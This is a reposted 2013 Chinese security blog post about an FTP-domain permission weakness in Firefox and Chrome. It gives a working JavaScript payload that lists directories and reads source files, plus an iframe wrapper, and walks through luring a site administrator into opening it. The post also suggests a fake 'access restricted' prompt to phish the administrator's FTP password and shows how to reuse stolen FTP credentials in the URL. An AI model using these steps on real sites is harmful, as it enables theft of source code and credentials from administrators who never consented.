Firefox/chrome等FTP域内权限限制不严 可通过XSS遍历网站目录并获取源码
2013-06-01 15:20
浏览器在FTP域内的CSRF问题,虽然遵守了同源策略,但不代表解决了所有问题。“可通过XSS遍历网站目录并获取源码”的环境要求有些苛刻,理论意义大于实际意义。
详细说明:只在IE9、firefox、chrome上做了测试,除IE之外,其他都同通过。
首先明确一点,浏览器在任意协议下,不论是http(s)、File还是FTP、UNC、MHTML、
Jar协议,遇到html扩展的文件都会进行渲染,当中的javascript同样会执行。
再看FTP下的权限问题:当使用FTP协议渲染某个女HTML文件时,这个文件伪造的请求可获得指定目录列表,也有权限读取任意指定路径的文件内容。
<script> function createXMLHTTP() { var xmlhttp = null; try { xmlhttp = new XMLHttpRequest(); } catch (e) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } } return xmlhttp; } var request = false; request = createXMLHTTP(); xmlhttp=request; xmlhttp.open("GET", "/", false);//获取当前目录内容 //xmlhttp.open("GET", "a.php", false); //获取指定文件的内容 xmlhttp.send(null); var ret = xmlhttp.responseText; alert(ret); </script>
如果目标环境满足如下条件,那么你可以使用这种方式遍历网站目录或者获取指定源码。
1.管理员使用FTP管理网站
2.网站允许你上传html文件,或者有存在dom xss的html文件。
将你要读取的文件或目录写入payload.html(要想把获取的信息传到自己的服务器上只需多加几行代码即可,这里不再赘述),上传到网站中,假设你也能确定它的ftp路径:ftp://xx.com/upload/payload.html
上传跨域用的xss.html到网站目录中:
xss.html
<iframe src=ftp://xx.com/upload/payload.html></iframe>
假设上传后的路径为 http://xx.com/upload/xss.html
诱骗管理员访问 http://xx.com/upload/xss.html
最好的情况是管理员打开xss.html的同时,它也在登陆FTP或者会话未超时,再或者浏览器有记住ftp密码的功能,这样你便可以直接达成你的目的。
如果不满足上述情况,浏览器就会弹出FTP的登陆框,除非遇到极品管理员顺手输入了密码,否则payload.html不会执行.那么我们可以做什么?你可以在xss.html中写入
<b>访问受限,需要验证你的身份</b>
来进行钓鱼,骗他输入密码,当然成功率不敢保证。
还有种条件下也可使用这种方式,便是你得到了管理员FTP密码,但FTP server进行了访问控制,只有管理员的IP可以连接到,那么你可将xss.html修改为():
<iframe src=ftp://username:passworld@xx.com/upload/payload.html></iframe>
其他步骤不变。
承载着你一切猥琐梦想的Payload将在管理员的浏览器中静默的执行。
这是Chrome和firefox通过上述代码获取了当前的FTP目录
这是firefox获取了指定文件的内容,chrome的就不截图了
当然不算,那浏览器为什么要推XSS过滤器?何况IE已经注意到这个问题了,它的错误提示会告诉你“权限拒绝”。
不管它是不是漏洞,它确实是存在的。
爱梅小礼·菜客@C.E.T
2013.5.31 夜
转载请注明:jinglingshu的博客 » Firefox/chrome等FTP域内权限限制不严 可通过XSS遍历网站目录并获取源码